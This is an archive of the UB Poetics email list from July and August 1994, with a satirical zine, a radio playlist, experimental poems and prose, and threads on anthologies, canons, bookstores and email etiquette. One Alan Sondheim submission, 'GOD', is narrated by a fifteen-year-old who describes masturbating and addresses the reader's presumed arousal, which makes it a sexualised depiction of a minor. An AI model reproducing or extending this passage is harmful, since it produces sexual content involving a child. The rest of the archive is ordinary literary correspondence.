"XXXX OOOO EH" incites us to imbibe the "strong, costly wine" of Robert Herrick's verse, but students here at DIU should know just how strong and just how costly a whine it is:

UPON SOME WOMEN

by Robert Herrick

Thou who wilt not love, doe this;
Learne of me what Woman is.
Something made of thred and thrumme;
A meere Botch of all and some.
Pieces, patches, ropes of haire;
In-laid Garbage ev'ry where.
Out-side silk, and out-side Lawne;
Sceanes to cheat us neatly drawne.
False in legs, and false in thighes;
False in breast, teeth, haire and eyes:
False in head, and false enough;
Onely true in shreds and stuffe.
--Patriarchal Poetry

*** REQUEST FOR INFORMATION ***

For a study on the "objectivist poets" in preparation for DIU Press I would appreciate any anecdotal information (including letters, photographs, first person accounts or copies of memoirs) that would shed light on the brief marriage of Lorine Niedecker and William Carlos Williams. I am also seeking information on Joyce Hopkins, in particular the circumstances that brought her to reveal "Louis Zukofsky," "Charles Reznikoff" and "George Oppen" as Niedecker's pseudonyms. Lastly, if anyone knows the whereabouts of Robert Creeley, I have been trying to track him down. I understand he is the last living member of the original "objectivist conspiracy," and that he went into hiding shortly after the coup but remained within the borders of the old United States.
--Kimberly Filbee

CLASS ANNOUNCEMENT FOR "AMERICAN POETRY"

What does it mean to be an American? I have presumed to regard this question as an historical one.

Yet Marianne Moore suggests our historiography lacks something in the way of truth. Do you agree?

In the way of truth stands history itself, blocking the light. History in the form of an author casts its shadow on our reading. What to do?

As we begin our reading of Whitman's "Drum Taps," let's presume to imagine that Whitman himself is listening in on our conversation. Can we provoke him into stepping aside, that the light might return to the page?

The dark is good to dream in, but to dream in the light is better still.

"He comprehended that the effort to mold the incoherent and vertiginous matter dreams are made of was the most arduous task a man could undertake, though he might penetrate all the enigmas of the upper and lower orders: much more arduous than weaving a rope of sand or coining the faceless wind." (Jorge Luis Borges)

Discuss.

--Black Hole Sun

from: SLICES OF KNOWLEDGE

Never despair. Let macerate longer.

*

An inn of soft muds for fish who spend the night out of the water.

*

A beggar, but he governs a beggar's cup.

*

Mornings, if one is a bee, no mucking about, one has to pilfer.

*

Funerals should take place in swamps. Wouldn't it be just that the living, who follow the dead, should also be in difficulty?

*

The birds' delirium does not interest the trees.

*

It is not the crocodile's job to yell: "Watch out for the crocodile!"

*

He who hides his madman, dies voiceless.

*

Even if it is true, it is false.

*

- What would a distillation of the whole world be like? - asked a man in amazement, drunk for the first time.

*

The caravans want respect.

*

There is no proof that the flee, which lives on the mouse, is afraid of the cat.

*

The blood of the ox, put into a tiger, would give the latter nightmares.

*

Evil traces, good floods.

*

That one uses his vice to jerk off his virtue.

*

--HM translated by PJ

Let us recall the Kent State massacre. What was at stake? Why was the National Guard shooting down middle-class young people in middle America?

Their ancestors were enthralled by the utopia sublime. Right there in Ohio, in Akron and Cleveland, they were in the thrall of the absolute. So utterly were they taken up by what their self- repression might gain them that, when the Cayuga River caught on fire and burned, they did not understand that it was a sign.

The children were lured by beauty--forms that were available to the senses, not crumbling between a lost origin and an infinitely receding goal.

I or I would recall the virtue of Herbert Marcuse in this connection:

"Before the court of theoretical or practical reason, which has shaped the world of the performance principle, the aesthetic existence stands condemned. However, we shall try to show that this notion of aesthetics results from a 'cultural repression' of contents and truths that are inimical to the performance principle. We shall attempt to undo this repression theoretically by recalling the original meaning and function of aesthetic. This task involves the demonstration of the inner connection between pleasure, sensuousness, beauty, truth, art, and freedom--a connection revealed in the philosophical history of the world aesthetic."

--Thus, Albert or Hubert

Playlist, Conference of the Birds, KZSC, Santa Cruz 7-11-94

Silvio Rodriguez/ Sueno Con Serpientes/ Dias y Flores
Mercedes Sosa/ Los Hermanos/ en Argentina
Ketama/ Creo/ El Arte de lo Invisible
Ismael Miranda/ Aventura/ Por El Buen Camino
...
Don Cherry and Ed Blackwell/ Roland Alphonso/ El Corazon
Old and New Dreams/ Mopti/ Playing
...
Cesaria Evora/ Sodade/ Trance Planet
Songhai/ Africa/ Songhai
Seleshe Damissae/ Sewnetwa/ Seleshe's Collection
Hrant Kenkulian/ Dilerum Sen (Past Sarki)/ Udi hrant Kenkulian
...
Salim Halali/ Nlaguik Ellila/ En Tunisie
David Murray/ Patricia/ NYC 1986
Oppong/ Anadwo Bea/ 1960's Highlife
...
Frankiln Kiermyer/ Peace on Earth/ Solomon's Daughter
Andrew Cyrille, Jimmy Lyons, Jeanne Lee/ In These Last Days/ Nuba

Julius Hemphill/ Rites/ Dogon A.D.
...
Alemayehu Eshete/ Ambassel/ Addis Ababa
The Tahitian Choir/ Morotiri Nei/ Trance Planet
...
Youssou N' Dour/ Woma/ Bir Sorano Juin '93
Orchestra Reve/ El Ron pa Despue/ La Explosion del Momento
Rabab/ (title in arabic)/ Best of Rabab Vol 2
Khaled/ Hebou/ N'ssi N'ssi
...
Nasida Ria/ Janikan Anak Asuh/ Keadilan
Ornette Coleman/ What Reason Could I Give/ Science Fiction
...
Thelonius Monk/ untitled solo piano/ Blues Five Spot
James Booker/ Lawdy Miss Clawdy, Ballad at the Maple Leaf/
Ressurection of the Bayou Maharaja

"errata" diu 3: line 9 --Patriarchal Poetry should read "construction is precisely what is leading us to (ecological) crisis." rather than "destruction...". phrase in line 16 --XXXX OOOO EH should read "punch not" not "puncnot". the editors humbly apologize for such ghosts.

please send thought pleasures & correspondence to
[redacted]

diu is (c)irculated weekly by the logic of snowflakes
"nodal extension" of wepress

↑ Index

61. Jed Rasula
Re: Yau's Review
Fri 29 Jul 1994

I think Steve Evans has come up with a useful formulation: that institutions convert traditions into canons and competence into credentials. You could also say that institutions *define* competence as the ability to convert traditions into credentials. In the end it comes to the same thing: who gets accredited to speak on behalf of, and in the name of, others. The anthologists' familiar ploy of gesturing towards the contents and saying "the poems will speak for themselv es" is an old ventriloquist stage trick. I'd welcome a return of the old mode of the commonplace book (the last author to publish one that I'm aware of was Auden), in which a patchwork of citations pretends to be nothing less than (in

Emerson's term) "colossal autobiography". Where all this gets wearying is in th e overinvestment, on the part of editors, in the pretence that a "community" or a "tradition" is somehow being preserved--which is not the same, by the way, as the case (like Allen's NAP) of an anthology inaugurating the conditions for a community that only retrospectively identifies itself in the past conditional, which is precisely what Weinberger, Hoover, and Messerli propose to do: "if we had been there all along, 'we' would have ended up looking like this."

↑ Index

62. Alan Sondheim

Submission

Fri 29 Jul 1994

The Trouble I had with Poets

What I remember about the poets and the trouble I had with them was first the time Anne called and I picked up the phone and said Anne, knowing it was her. But Bernadette said that I was involved with Rosemary to get closer to Vito and Vito had told Rosemary I was a pest, which he also told to Dara who Vito told me was a pest. In short order, pests were everywhere. My ex-wife went to Bernadette's ex and there were fights all around. Keith seemed to put up with me and once when I was crying around midnight told me I was a real artist. Jackson saw the tape that Kathy and I did and said it took courage. Meanwhile Vito saw the tape and said I wan't a real artist and Laurie saw the tape and said I was. Allison went up to Kathy by the way and said she was married to me and Kathy told Allison I was crazy. Rosmarie I don't think ever liked me although I liked her with a great aplumb. Meanwhile David just about stopped talking to me and Aram thought I should focus more and was just impossible. Clark and I talked all night long early on and I owe him for that, but I felt used and abandoned towards the end. When I first read Allen that was all the Allen there was, but Dan told me that Vito said he never wanted to end up like me. Still Alan told me I wasn't as arrogant as he had heard, and Krister hated me for reading Lacan until later when she read Lacan and more, according to Henry, and then just hated me. So anyway, I.A. said I had surprising talent, orphaning me, and quite a few years later I saw Robert stand up, which I had not seen him do before, although there was no reason for him not to do it. I fell in love with someone who lived with Diane probably because she lived with Diane or maybe she didn't. I published Michael in some early work, and Robert wanted to publish my translations from a langauge I didn't know. I am never sure about poets, about these poets. Poets trick me a lot and I always fall for the same old things. Susan always walked around in her underwear and it did tricks on me. And like everyone else, George had severe doubts, but Tom at least published some things as bad poetry. Now I look back and see that I should have listened

to Peggy, but how was I to know the differ- ence between heroin and heroine? Ed wrote all too well, and Charles I am sure had his doubts, although Karen wrote America's greatest unpublished poetry. Ed was never particularly supportive, part of a group I viewed with jealousy and dismay. I could never believe in anything after hear- ing all of them, reading all of them - I could never believe in poetry ever again, including my own; I can never use `poetry' without shudder- ing. I get suspicious of poetics which always seems to invoke Charles or someone like Charles. If not Charles, William or Robert, all those anglo names coming in from small-town crater America. Always I wonder what the rest of the planet and the other Roberts are up to, and more and more identify with Violette Leduc and her malaise. I have weaned myself from aphorism or metaphor, rhetoric or the bon mot that gains a pause, a witticism in a foreign language. I am a pariah for the poets if they even remember me, a nuisance or a pest refusing to settle down, half-male, half-thing. I doubt they remember me or would care to if given the choice. They were the troubles of my life.

↑ Index

63. Alan Sondheim

Submission

Fri 29 Jul 1994

GOD

I am a fifteen-year-old girl who is also a fifteen-year-old boy and I have both a penis and a pocket to put it in. And I have no hair there yet so I can see myself when I put it in and someday I will have a baby because my friends have babies. I will have a baby soon and I know this because I am always wet because I can do things to myself.

But I don't sleep very good and I always think about God and I don't think that God really cares for me because she is a he and he can't give birth to anything because he doesn't have a pocket. And it doesn't make sense that he would make a pocket because if he could do that he could make himself like me and I don't think he would like that.

But I don't think God really cares for anyone either because what is the point of all those prayers just thanking and thanking him for everyone's misery because they really don't like anything that's happening to them, that's for sure. So if he did care then he's not so powerful because he's a he and because he doesn't seem to do anything about it. And if he wanted to do something about it and didn't then he wouldn't be very good, he would be evil. I would hate to think that God is evil but I just can't thank him for anything.

Besides, if God made everything, then who made God? I think that people like the idea of God coming first because God is something like people, even weak like them, and I think that weakness making something is better for people than strength making something, especially if it's strength they don't have. But anyway, there's this to think about, that God would be made by people, because people would want to make something not like them at all, but different, but not so different as, say a mountain. So I think that God would be just different enough to say that he is there forever or doesn't have to obey the rules, and I think he doesn't even know what the rules are.

So if he doesn't know what the rules are, then what is the point, if you ask me, for God, because why not just let things alone, and if you need something to let things alone, then you are living in a dream because there is nobody to tell you to stop touching yourself. And if I stopped touching myself down there, I would never have a baby.

(Oh, I forgot to tell you that I love to tell you about myself because I know you love to think about me touching myself there and it will make you forget all about God who will never punish me because he will be busy with your prayers and everything and will never know.)

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64. Alan Sondheim

Submission

Fri 29 Jul 1994

KARL KRAUS COMPRESSION MACHINE

"There are writers who can express in as little as twenty pages what I occasionally need as many as two for." (Karl Kraus)

To force a rhyme which, lying on its back, flounders
All legs, thrusts the loss of hope and energy
Against the sun or moon, as if a tendency
Returns this spatial clot upon its back.

Tendency is towards, and not to mix a metaphor,
Which I won't do, is towards something which
Is not where it could be before the tendency,
Such as fascism, for everything

Flies on the surface of an enormous rope
Pulling its own weight behind its legs, dull gleam

Ahead, as if something were there, which it is not
Or rather, the fleeing tendency of time.

You might have known I write beyond the speech
Of which ridicule has barely parted, continuous work
On subject and its objects, of nothing in that space
Beyond the names. This beyond is my written leg,

Just one, falling everywhere beside the point,
Crippled in every direction, but there at least
A gesture in every direction, which I am not against.

```
        _________
      __/O\__    |
      |     |    V
      |     |
```

The mechanism on the left contains a _cylinder_ with a spherical bearing held in place. An arm extends from the bearing with an attached secondary arm at right-angles. Even with a limited degree of rotational freedom, the secondary arm is capable of alignment with any given point in three-space.*

Playing fields are drowned by words or dreams because
They bend, rip, are torn asunder, sodden, dull, because
They are not there but made from sentiment, because
Death works hard on them, returns a loss become a loss because
Victory is a young girl or boy hard upon a playing field because
The field is all their world laid out before the names because
The names don't amount to much at all because
They're not there, and nothing is intended because
The boy and girl are dead and no one plays there because
Playing fields are drowned.**

"How much material I would have if nothing happened!" (Karl Kraus)

```
_____________________________
                        |
                        |
                        V
```

*To penetrate the labia of god is perfect harmony, writing played out against the lips of god murmuring of afterbirth.

**The fearful world. The terrible language. The sun a brilliant red. The Romantic _blue deer._ The violence of cement.

----------end K2----------

↑ Index

65. Robert Drake
Re: Submission
Fri 29 Jul 1994

jeez--

i've always, so much, unjoyed the phraseology ov "Submission"; and, one version ov truth be told, always enjoyed being in thee editor's ship, and having authors/others "Submitting" to me; and ('nother version ov thee a4mentioned "truth") thee author submitting to thee Editorial _We_. We are, actually, rather a-mused.

> & now, on thee net, yr all yr own editors.
> 'ow wonderful, 2 bad.

luigi
EDITOR (& don't you ferget it)
TapRoot Remiews

↑ Index

66. Marjorie Perloff
Re: Submission
Sat 30 Jul 1994

I'm seeing if my new program will work.
Best regards, Marjorie
z
echo
/

↑ Index

67. Marjorie Perloff
Re: Submission
Sat 30 Jul 1994

Here I am est testing again but I can't figure it out.
Anybody have help on the SUNIX system and how you create messages?

↑ Index

68. sondheim
Submission
Sat 30 Jul 1994

Ah, in relation to some response to _submission,_ yes, I was aware of the masochistic tentation of the word which was deliberately poised above the

three... _submissions_ and is not my usual heading - in other words, _submission_ is part of the contents of the posts which begin after all in their heading.

Alan Sondheim

↑ Index

69. Tom Mandel

Flavia

Sun 31 Jul 1994

---

1. If the dog won't let go the trouserleg, it must taste good. 2. Anthology - bunch of flowers - a selection of "choice" items, in both senses. I choose these, because they are so wonderful, and I want you to have them. There's no way around that. It's up to readers to tell us which they like (sorry, no way around that, either). 3. Oh sure, most anthologies are terrible; I mean, it's one person's taste, and in the kingdom of poetry - an absolute monarchy in which each one is monarch, subject to none, and none a subject - you start by having a completely different view from everyone else. 4. Yes, institutions and committees and all other formations of professionalism manipulate, mold, warp if you like the mirage which is our view of the art at this or any time, but there is no better committee to substitute, and such a substitution is all I see offered, not just in this debate or on this forum, but most (a polite formulation for damn near all) the constructed social critique is a demand for allocation of space to *my* brand of frogs in the existing pond. Viz. the only alternate university herein discussed proclaims itself imaginary: here's where I would drive if I had a car. But the only valid critique of a form of life is a different form of life. A poem can answer a poem, naught else. Nor is an alternative link equal to an alternative community. If you are a grad student or a professor, start a different university to teach something different. 5. Sometimes an anthologist is lucky (it is always better to be lucky than to be smart), viz. Don Allen. But, no one (perhaps Jed R.) has pointed to the social context of Allen's anthology: people living and doing something evidently and definitively different from a prevailing life. The authenticity of the anthology - which needed to make no self-eliminating "argument" ala Weinberger - was in the stuff. (I don't at all mean that Don Allen was lucky *not* smart, by the way, just that he was fortunate to be faced with such a potent task to which to commit his smarts). 6. The same operations which enable a canon and credentials enable the critique of that canon. There is a struggle for power and life and space and the crowning of these in a sense of worth for what one has done and chosen. If the canon we debate arose because the classical languages were moved out of the center of education (i.e. worse housing = bigger bombs), then what would happen if we all read greek again ((don't get

me wrong, it doesn't have to be greek, just a horizon and to replace all this margin-making wch replaced a sense of the horizon and its beyond))? But, we will always be empowering something larger and more abstract than the works we read, and will furiously unmake the beds we refuse to sleep in. 7. Grad students, quit school. Professors, resign your jobs. Talk about "avant garde" formations, that'd do it. Is a university a place where new art has traditionally formed (credentially formed)? Of course, if you have a family to help support (or you'd like to), then... just as you were, keep up the good work. But, can we move on to another topic? 8. Somewhere near Pittsburgh is a small town called Harmony; it began in a utopian gesture sometime near the middle of the 19th century. I turned toward my Dodge Dart toward it one day in I think it was 1973, but when I arrived it was a dim steeltown suburb black with oil and soot of the rivers that mingle thereabouts to (at the time) carry away what was not wanted in making the steel. I'm trying to remember whether I've ever looked at a map and seen a town called Rhyme.

tom mandel

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@poetics

The UB Poetics Discussion Group

Archive of Electronic Correspondence

August 1994

78 messages · Sun 31 Jul 1994 – Tue 30 Aug 1994

August is the month of the great reunion — out at Yasgur's farm the mud and the nostalgia are being sold back to a second generation — and it is the one concession the poets make all month to the summer's news: Joseph Conte breaks off to ask whether anyone caught *"Melanie at the Woodstock reunion."* For the rest, they spend the weeks talking, with a self-consciousness I find rather touching, about the very wire along which they are talking.

The largest thread is simply headed *"e-mail,"* and it is the list turning to regard itself in a glass. Charles Bernstein, brooding on where the audience for poetry has gone, ventures that its critical future is *"surely electronic"* — a prophecy this very volume, assembled from the wire, exists to confirm. Alan Golding is warier, wondering aloud about *"the privacy issues that e-mail raises,"* a question the black bars in these pages answer after their own fashion, a half-generation too late.

There is heavier weather too. Tom Mandel opens a small seminar on what Brecht did and did not intend by plumpe Denken — *"crude thinking,"* he glosses it — and for a week the list works the narrow seam between the rough-and-ready and the merely rough. It is the sort of argument only these correspondents would mount in the dog days: Marxist aesthetics conducted between announcements of readings, with the fan whirring.

Beneath it runs the summer's durable grievance — where the work can actually be bought. Hank Lazer comes home from Cambridge disenchanted with its *"allegedly wonderful bookstores,"* having found on their shelves next to nothing by the poets this list reads. The complaint braids into the still-smouldering anthology quarrel and a brisk hunt for the earliest citation of woman-as-muse; marketplace, canon, and myth-kit all found wanting in the same breath.

What holds it together is the medium's own strange intimacy — several dozen people, most of whom have never met, conducting a graduate seminar, a swap meet, and a wake at once across a continent and a wire. I have swept the machinery out of these letters, drawn the bar across whatever was private, and left the talk standing. That the talk is so often about the talk itself seems to me exactly the note on which this particular August ought to be kept.

— Kristen M. Fabians

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78. John Keeling — hello and update

1. Tom Mandel
Re: Anthologies
Sun 31 Jul 1994

re: Marjorie Perloff's pertinent post on head-counts & quotas,

> "There are two kinds of pianists. Homosexual
> pianists and bad pianists."
>
> Vladimir Horowitz

tom mandel

↑ Index

2. Roberts Mark
Harmony/Anarchy
Sun 31 Jul 1994

> *8. Somewhere near Pittsburgh is a small town called Harmony; it began in a utopian gesture sometime near the middle of the 19th century. I turned toward my Dodge Dart toward it one day in I think it was 1973, but when I arrived it was a dim steeltown suburb black with oil and soot of the rivers that mingle thereabouts to (at the time) carry away what was not wanted in making the steel. I'm trying to remember whether I've ever looked at a map and seen a town called Rhyme.*
>
> *tom mandel*

In Victoria Australia there is a town called Anarchy (and North Anarchy). I've always thought that it would be a good place to edit a poetry mag from.

I've never driven through Anarchy. A lot of my friends talk about going there but somehow they never seem to make it!!!

Mark Roberts
SIS Project Officer
Student Information & Systems Office
University of NSW
Australia

Ph. 02 [redacted]
Fax 02 [redacted]

↑ Index

3. Marjorie Perloff
Re: Anthologies
Sun 31 Jul 1994

Tom Mandel has a good point. Don Allen was "lucky"--lucky too in his particular moment. d In 1958, most poetry was rigidly codified and uniform in

the Hall, Simpson, Rosenthal volumes etc. and then there began to be a really marked counterculture and s{ that became the New American Poetry. But since then, there's been a lot of gamesmanshi{ {and concern to be Newer than New without thinking why? and for what? The best thing an anthology can do is to put work out there that{_ the readers in question others { r epi;

↑ Index

4. Marjorie Perloff
Re: Anthologies
Sun 31 Jul 1994

---

something happened to the computer for last message so please{ignore.
Anyway, I just want to sy
dp

↑ Index

5. Marjorie Perloff
Re: Anthologies
Sun 31 Jul 1994

The last note goofed so just to conclude. The best thing the anthology can do is to put work, unfamiliar as yet, out to those who would profit from familiarity with it. I've learned a lot about French poetry, for instance, from some of the anthologies put out by Roubaud, Hocquard,et al. Ditto about Italian poetry from the Gruoop 93 (Gruppo 93) pub- lications. Facts are especially useful--like, who, what, where? {

↑ Index

6. Marc Nasdor
Re: Yau's Review
Sun 31 Jul 1994

Steve--

I'll reply in reverse:

1. Re: crumbling of the priesthoods. I was only referring to art & academy priesthoods, which are considerably less of a threat than the one Rushdie is dealing with.

2. Re: credentials. Was I unclear? I agree with your response, and the tie-in regarding the question of competence. I thought what I posted was in line with your answer. (Unfortunately, I mistakenly discarded a copy of my post; my mother had a minor stroke and I had to rush down to Baltimore.) :-(

3. Re: middle-class honkies. Let me clarify. I meant to say that the middle class participates fully in that dominance. After all, a dictator, for example, does not *personally* pull the trigger on each and every victim. It is important to talk about complicity and responsibility. As far as the avant-garde is concerned, if you begin in the 19th Century, your conclusions would be as you state. I think, with respect to the arts, that some power relationships *have* changed, unless hip-hop culture isn't avant-garde enough for you. And further, to whose avant-garde do you refer? You assume a static paradigm. In places like Baltimore (my home town), artists have expended large amounts of energy crushing the boundaries of their own community. There's little or no funding, so artists aren't trying to screw each other as much. I would consider the "alternative" arts communities in cities like Baltimore or Cleveland to be much healthier than those in places like New York. The former cities are in such dire economic straits that artists quickly find common ground.

Marc

↑ Index

7. Nick Lawrence
further & additional
Tue 2 Aug 1994

---

further murmurings on the subject of anthologies

our gut reaction--we of the counter-counter-counterhegemonic--to the recent slew of post-New American Poetry anthologies seems to be one of queasiness, as if it were all somehow not a good sign; our understanding being as Steve points out that institutional culture's certifications of competencies will coagulate as canons--canons to the right of us, but never canons to the left of us; & that the debate over inclusion and representation, however necessary, leaves the primary legitimizing mechanism unquestioned

but what *are* the uses of anthologies? in the case of Allen's, it's been suggested, not simply to introduce a body of work to a wider readership, but also the diverse forms of (social) life implicated in & by that work--not diverse enough, as it turned out, to present an approximation of "what America looks like," but

↑ Index

8. Nick Lawrence
(no subject)
Tue 2 Aug 1994

(contd) to suggest at least more of what America *sounds* like than was currently available. As a sourcebook, Allen's collection seemed able to do what so few anthologies manage--that is, defeat the authoritative guardianship of its own frame and actively instigate the reader to follow up on the still-unfolding projects provisionally mapped out within its pages; first-stop reference rather than only-stop textbook or monument

and it seems difficult to envision the girls and boys of Tulsa, OK fingering the pages of any of the recent crop of books & placing checkmarks next to their favored authors for future research--though one shouldn't disallow this possibility

So: if we distance ourselves from the various models of purely "subjective" garland-gathering, grimly inclusive compendiums, slackly conceived thematic clusterings or transparently legitimizing continuity-narratives, can we nonetheless find a further use for the anthology form? What might it be? Steve Evans mentioned the possibility of an anthology explicitly addressing the connections between avant-garde poetries and oppositional social movements, & I'd be curious to hear more about that (poetry only? prose excerpts? one ponders the spectacle of a Pound Canto followed by the transcript of a Father Coughlin radio broadcast--oppositional cutting several ways)

Can, then, the form renew attention to its social placing as well as to its own formal determinations?

Proposals?

Nick

↑ Index

9. Jed
(no subject)
Tue 2 Aug 1994

Nick Lawrence's reference to the Allen anthology as "first-stop reference rathe r than final stop monument" points up the current perplexity in which it *has* become monumentalized. It clearly did function, for years if not decades, as a first stop, a research tool (Allen's bibliography--and how many anthologists even offer such a thing?--included dozens of magazines, names of the editors, span of run, and location, and concluded with addresses of fifteen publishers). Allen's inclusion of a whole section of statements on poetics defied the look of generic purity for which so many editors strive--although it's important to note that the

most important precedent setting anthology from the other end of that decade, John Ciardi's "Mid-Century American Poets" (1950), included essays on poetics by *each* of the selected poets. Finally, Allen's mapping of poets into five clusters (which Messerli attempts to replicate with, I think, much incoherence) advances the sense of potential internal dissension. As a table of contents it evokes, to use Nate Mackey's wonderful title, a "discrepant engagement." Every anthology has its discrepancies, but they're invariably attributable to the editor's taste rather than, as Allen provided for, the divergent working conditions/poetics/practices of communities of poets.

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10. **kat**
(no subject)
Tue 2 Aug 1994

Yes, the ALlen anthology did what we needed. It seems that many current books, anthologies not alone, fail to think of simple utility. Students and fellow travellers--is such a distinction is to be made--should be helped toward further research and other more lively exploration. Anyway, just a thought. By the way, I didn't understand the texture of comments on credentials. When did credentials ever get to be--or float--above the market, either at the stage of evaluation or transaction? And, perhaps because the protocols aren't as FIXED as for, say, AMA, or NRA, poetry and criticism are particularly "market sensitive."

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11. **Marc Nasdor**
Re: further & additional
Tue 2 Aug 1994

Nick--

I'm not sure that *poets* are what America looks like.

--Marc Nasdor
[redacted]

↑ Index

12. **Tom Mandel**
anthologorrhia
Wed 3 Aug 1994

Is there nothing to stem the tide of rhetorical questions posing as poetics?

"So: if we distance ourselves from the various models of purely "subjective" garland-gathering, grimly inclusive compendiums, slackly conceived thematic clusterings or transparently legitimizing continuity-narratives, can we..."

No, we cannot distance ourselves from what we are within. A master metaphor of subject matter with our royal selves outside it in consideration is at once useless and apparently the sole operative in the discourse on this net. Geez...

And .... an anthology explicitly addressing the connections between avant-garde poetries and oppositional social movements"

..is not an anthology but an essay or the syllabus for a course on the canon we would prefer (to the left of us, of course -- for 200 years now -- nor do I disagree), i.e. another example of what I referred to in my post the other day as "substitution". Thinking by substitution.

An old story told in the advertising/marketing industry (I'm sorry if my reference materials do not meet appropriate credentialar traditions) may shed some light on what Brecht did *not* mean by "plumpe Denken" (crude thinking):

> a man walks into a bar and says to the bartender, give me a johny walker. Would that be a johny walker red or johny walker black, the bartender replies. Now, our protoganist thinks for a long moment. "Oh hell, he says, give me a chivas."

c'mon. cut thru it (thru to it).

tom mandel

↑ Index

13. Alan Golding
Twentieth-Century Literature Conference
Wed 3 Aug 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

A little break from anthologies and their discontents: namely, some conference information that y'all, as we (they?) say in Kentucky, might be interested in. Every year, last weekend in February, the University of Louisville hosts a national conference on twentieth-century lit. (broadly defined--the program includes theory papers, film, etc.) A number of you have attended in the past, of course, and know all about it. Anyway, here's the dope on the 1995 conference:

Conference dates are Feb. 23-25, 1995. Submission deadline is Oct. 3, 1994. We consider critical and creative submissions (that charged term . . .). Critical

submissions should consist of 2 copies of a readable-in-20-minutes paper, a 250-word abstract, brief bio, and cover sheet with address, phone number(s), affiliation. Creative work submitted should be suitable for a 20-minute reading and can consist of published or unpublished work. The structure is that of your standard academic conference: typically, three papers on a panel, with time for discussion. Creative "sessions" usually feature three short readings. You can submit in both categories, critical and creative. We also consider pre-organized panels, in case any of you want to get together on something; in such cases, panelists should follow the guidelines for individual submissions, since papers are reviewed individually.

The conference features two keynote speakers, and often some further special presentations or readings. In recent years, speakers/readers have included Susan Howe, David Antin, Marjorie Perloff, Jerry McGann, Clayton Eshleman, Ed Dorn, Louise Gluck, Alicia Ostriker, W. S. Merwin, Robert Scholes, Neil Lazarus, Hortense Spillers, Sherley Anne Williams, Jane Gallop, Frank Lentricchia, Michael Burkard, Susan Jeffords, Tess Gallagher.

Any further info., including a handy-dandy nicely printed call for papers, can be gotten from Harriette Seiler, Conference Director, Department of Languages, University of Louisville, Louisville, KY 40292. Tel. [redacted]; FAX [redacted].

↑ Index

14. Hank Lazer

Re: Twentieth-Century Literature Conference

Wed 3 Aug 1994

Alan-- just got your e-mail about the 20th C. Lit conference. Perhaps I can cook something up & attend/present.

Also, just got the official word from Northwestern University Press (a few moments ago) that my book (of essays, called Opposing Poetries) has been accepted. The press board met last week & approved publication. Now, as you know, it's on to corrections, revisions, getting the damned thing out at last. Thought you'd be interested. (Though I suspect that you've looked over the manuscript I sent them....?)

Pank

↑ Index

15. Alan Golding
Re: Twentieth-Century Literature Conference
Wed 3 Aug 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Great news about the book--congratulations! I confidently expect it to be one of the best in a long time. Actually I wasn't a reader. Marjorie had suggested to Northwestern (she told me) that they contact me, but they never did--so you have the approval of genuinely outside readers. (Marjorie and Lynn Keller were mine, which is a little "in-house," I suppose, but the Press wanted to use the readers who had originally approved the prospectus. And Marjorie is always usefully tough, even with her friends--one of her many intellectual virtues.)

It'd be great if you could get up to the conference. Remember that if you want to cook up a panel with some other folks, that's always a possibility. As is, of course, your poetry. I hope Ron and Kent do come through with a chapbook, but as I've probably said before, I wouldn't hold my breath.

What did you end up including in the book? Maybe you could stick a table of contents in the mail if you get a chance.

Alan

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16. Alan Golding
Free-floating mail
Wed 3 Aug 1994

Associate Professor of English, U. of Louisville
Phone: [redacted]; e-mail: [redacted]

Sorry you all just got burdened with what I thought was, or tried to make into, a personal note to Hank Lazer. That pesky "reply" function got me again. One day I'll figure this shit out. Of course, now you're burdened with this . . .

I wonder if the debates over the privacy issues that e-mail raises factor in the unpredictable results of just plain old incompetence . . .

Alan Golding

↑ Index

17. hlazer
Re: e-mail
Wed 3 Aug 1994

My apologies to readers for my error in sending "private" mail to everyone. Ah, the hazards of e-mail...

I have been interested in the anthology debates and am in the midst of formulating some thoughts as I do a review/essay on Hoover, Messerli, and Lauter (Heath & other Am Lit anthologies). I'll share these jottings as they get father along.

I just returned from a few days at Harvard, mainly doing administrative work and checking into the Harvard Summer Dance Program. It was my first trip to Boston, so, of course, I checked out the allegedly wonderful bookstores. I stayed in a dorm just down the block from the Grolier and from the Harvard Bookstore. Everyone told me how wonderful they are. They're right about the Italian food in North End, wrong about the bookstores. I was shocked. Nothing by Bernstein, Hejinian, Susan Howe, etc. Harvard Bookstore has next to its poetry section a quote from Ishmael Reed about how in American Literature there is not a mainstream but many streams etc. But what they stocked was strictly mainstream. Given the association of folks such as Bernstein, Hejinian, and Howe with Harvard, I was genuinely taken aback. I ended up having a long talk with one of the book- order people in the bookstore, and I left them a list of books, poets, distributors. You may wish to snicker at my naivete, but in other areas--philosophy, theory, art--the bookstore did have some range in selections. In poetry, though, the line drawn in the sand is deep. As most of you know, such is not the case in plenty of bookstores we can name in San Francisco, Milwaukee, Washington D.C., Berkeley, (even in Tuscaloosa). Leaves me wondering how such control can be so "perfectly" managed in Cambridge in poetry? I've come to expect such "control" in the chain bookstores....

Again, apologies for private mail publicly blared....

↑ Index

18. Joe Amato
Re: e-mail
Thu 4 Aug 1994

hank, they wouldn't have poetry selection, but the odd thing is that the tower records/video in back bay is where you'd have found, say, the entire semiotext(e)/autonomedia line, along with the beats, certain strands of evidently more 'hip' critical/literary work (virilio, ballard, etc.)...

quite a scene, right next to the grunge and such, surely SOME sorta comment on the times...

joe

↑ Index

19. tiger barb / clown loach?

Re: e-mail

Thu 4 Aug 1994

Oh to be a tenured prof swimming heroically in the shallows, upstream against the controlled flow of the army bored of engineers. A veritable burr in the panopticon!

Is "mainstream" a convenience or a dead metaphor perpetuating our posturing?

If there is a "mainstream" it's in the middle of the river, carries not just sludge and muck but also good driftwood, and moves and changes fast. Rowboats and weak paddles aren't very effective there. Human voices wake us or we drown. Human voices wake us and we drown. As Woody Guthrie says, both sides of the river we drown just the same.

Blathering...lathering...acid bath

↑ Index

20. MARK WALLACE

Re: Submission

Thu 4 Aug 1994

What thrills me about Alan Golding's recent piece "Submission"
in relation to the recent discussion of anthologies
and other power games, in poetry and otherwise,
is the implication of how much is never discussed,
even by those who may be critical of such practices,
of the complicated manuevers by which power decisions
are often made.
Even critiques of power tend to frame themselves
in terms of what constitutes "acceptable" public debate--
issues like class, race, representation
are acceptable to talk about,
things like personal animosity, gossip, many others,
are usually left alone,
I guess in the name of privacy,
but the problem of power decisions
is that they like to be made in private.

So, does the frame in which critiques of power
tend to limit themselves
also tend to limit potential understanding
of how those decisions are actually made?
Do such critiques therefore further the fiction
that "public" debate exists,
when in fact the very rules by which such debate is limited,
in most contexts,
mean that often no one except those who made the decisions
